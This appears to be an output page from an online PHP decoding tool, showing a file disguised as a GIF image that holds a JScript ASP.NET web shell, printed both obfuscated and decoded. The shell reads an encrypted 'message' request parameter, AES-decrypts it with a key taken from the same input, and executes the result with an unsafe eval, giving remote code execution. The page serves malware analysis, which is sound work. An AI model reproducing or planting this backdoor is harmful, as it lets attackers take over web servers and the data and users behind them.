Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
GIF89a0 0 3 f + +3 +f + + + U U3 Uf U U U 3 f 3 f 3 f 3 f..
Decoded Output download
<? GIF89a0 0 3 f + +3 +f + + + U U3 Uf U U U 3 f 3 f 3 f 3 f 3 3 33 f3 3 3 3+ 3+33+f3+3+3+3U 3U33Uf3U3U3U3 333f3333 333f3333 333f3333 333f333f f 3f ff f f f+ f+3f+ff+f+f+fU fU3fUffUfUfUf f3ffffff f3ffffff f3ffffff f3fffff 3 f + +3+f+++U U3UfUUU 3f 3f 3f 3f 3 f + +3+f+++U U3UfUUU 3f 3f 3f 3f 3 f + +3+f+++U U3UfUUU 3f 3f 3f 3f ! , 0 0 H*\#JH3jx CI$ &S\u2030r[R&"myr=)&."U)PPJJVjuNkU,Q]vnu.O]#^1L`{'k9,}OFm/f=/n-:n_uIMp{NM:l]O ;<%@ Page LaNgUagE="Jscript"%><% var utf8 = new ActiveXObject("System.Text.UTF8Encoding"); var okx0050aic = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged"); aes.Padding = 3; aes.KeySize = 128; function W00qlm98ph(vv9q7n8hx2){ var ts4dgi305o = utf8.GetBytes(vv9q7n8hx2); var s3wy0f34mf = okx0050aic.TransformFinalBlock((ts4dgi305o), 0, ts4dgi305o.length); return s3wy0f34mf; } function G68aucs95h(v4v1f7u5wv, f774c9xsov){ var e4jk072chf = utf8.GetBytes(f774c9xsov); aes.IV = e4jk072chf; var tfee23fg93 = W00qlm98ph(v4v1f7u5wv); var qsgf1hf235 = aes.CreateDecryptor((e4jk072chf), (aes.IV)); var a9458vwpgb = qsgf1hf235.TransformFinalBlock(tfee23fg93, 0, tfee23fg93.length); var b1g486gpbe = utf8.GetString(a9458vwpgb); return b1g486gpbe; } var dspvus8515 = Request.Item["message"]; if (dspvus8515 !== undefined && dspvus8515 !== null){ var y350loekk1 = dspvus8515.substring(0,24); var aesKey = utf8.GetString(W00qlm98ph(y350loekk1)); var f0qt1x6s0p = dspvus8515.substring(24); var e16dsyt5g9 = G68aucs95h(f0qt1x6s0p, aesKey); eval(e16dsyt5g9,"unsafe"); }%>
?>
Did this file decode correctly?
Original Code
GIF89a0 0 3 f + +3 +f + + + U U3 Uf U U U 3 f 3 f 3 f 3 f 3 3 33 f3 3 3 3+ 3+33+f3+3+3+3U 3U33Uf3U3U3U3 333f3333 333f3333 333f3333 333f333f f 3f ff f f f+ f+3f+ff+f+f+fU fU3fUffUfUfUf f3ffffff f3ffffff f3ffffff f3fffff 3 f + +3+f+++U U3UfUUU 3f 3f 3f 3f 3 f + +3+f+++U U3UfUUU 3f 3f 3f 3f 3 f + +3+f+++U U3UfUUU 3f 3f 3f 3f ! , 0 0 H*\#JH3jx CI$ &S\r[R&"myr=)&."U)PPJJVjuNkU,Q]vnu.O]#^1L`{'k9,}OFm/f=/n-:n_uIMp{NM:l]O ;<%@ Page LaNgUagE="Jscript"%><% var utf8 = new \u0041\u0063\u0074\u0069\u0076\u0065\u0058\u004f\u0062\u006a\u0065\u0063\u0074("\u0053\u0079\u0073\u0074\u0065\u006d.Text.UTF8Encoding"); var okx0050aic = new \u0041\u0063\u0074\u0069\u0076\u0065\u0058\u004f\u0062\u006a\u0065\u0063\u0074("\u0053\u0079\u0073\u0074\u0065\u006d.Security.Cryptography.FromBase64Transform"); var \u0061\u0065\u0073 = new \u0041\u0063\u0074\u0069\u0076\u0065\u0058\u004f\u0062\u006a\u0065\u0063\u0074("\u0053\u0079\u0073\u0074\u0065\u006d.Security.Cryptography.RijndaelManaged"); \u0061\u0065s.Padding = 3; \u0061\u0065s.KeySize = 128; function W00qlm98ph(vv9q7n8hx2){ var ts4dgi305o = utf8.GetBytes(vv9q7n8hx2); var s3wy0f34mf = okx0050aic.TransformFinalBlock((ts4dgi305o), 0, ts4dgi305o.length); return s3wy0f34mf; } function G68aucs95h(v4v1f7u5wv, f774c9xsov){ var e4jk072chf = utf8.GetBytes(f774c9xsov); \u0061\u0065s.IV = e4jk072chf; var tfee23fg93 = W00qlm98ph(v4v1f7u5wv); var qsgf1hf235 = \u0061\u0065s.CreateDecryptor((e4jk072chf), (\u0061\u0065s.IV)); var a9458vwpgb = qsgf1hf235.TransformFinalBlock(tfee23fg93, 0, tfee23fg93.length); var b1g486gpbe = utf8.GetString(a9458vwpgb); return b1g486gpbe; } var dspvus8515 = Request.Item["\u006d\u0065\u0073\u0073\u0061\u0067\u0065"]; if (dspvus8515 !== undefined && dspvus8515 !== null){ var y350loekk1 = dspvus8515.substring(0,24); var \u0061\u0065\u0073\u004b\u0065\u0079 = utf8.GetString(W00qlm98ph(y350loekk1)); var f0qt1x6s0p = dspvus8515.substring(24); var e16dsyt5g9 = G68aucs95h(f0qt1x6s0p, \u0061\u0065\u0073\u004b\u0065\u0079); \u0065\u0076\u0061\u006c(e16dsyt5g9,"\u0075\u006e\u0073\u0061\u0066\u0065"); }%>
Function Calls
None |
Stats
MD5 | cb2407e901c33f97110040104751ed94 |
Eval Count | 0 |
Decode Time | 40 ms |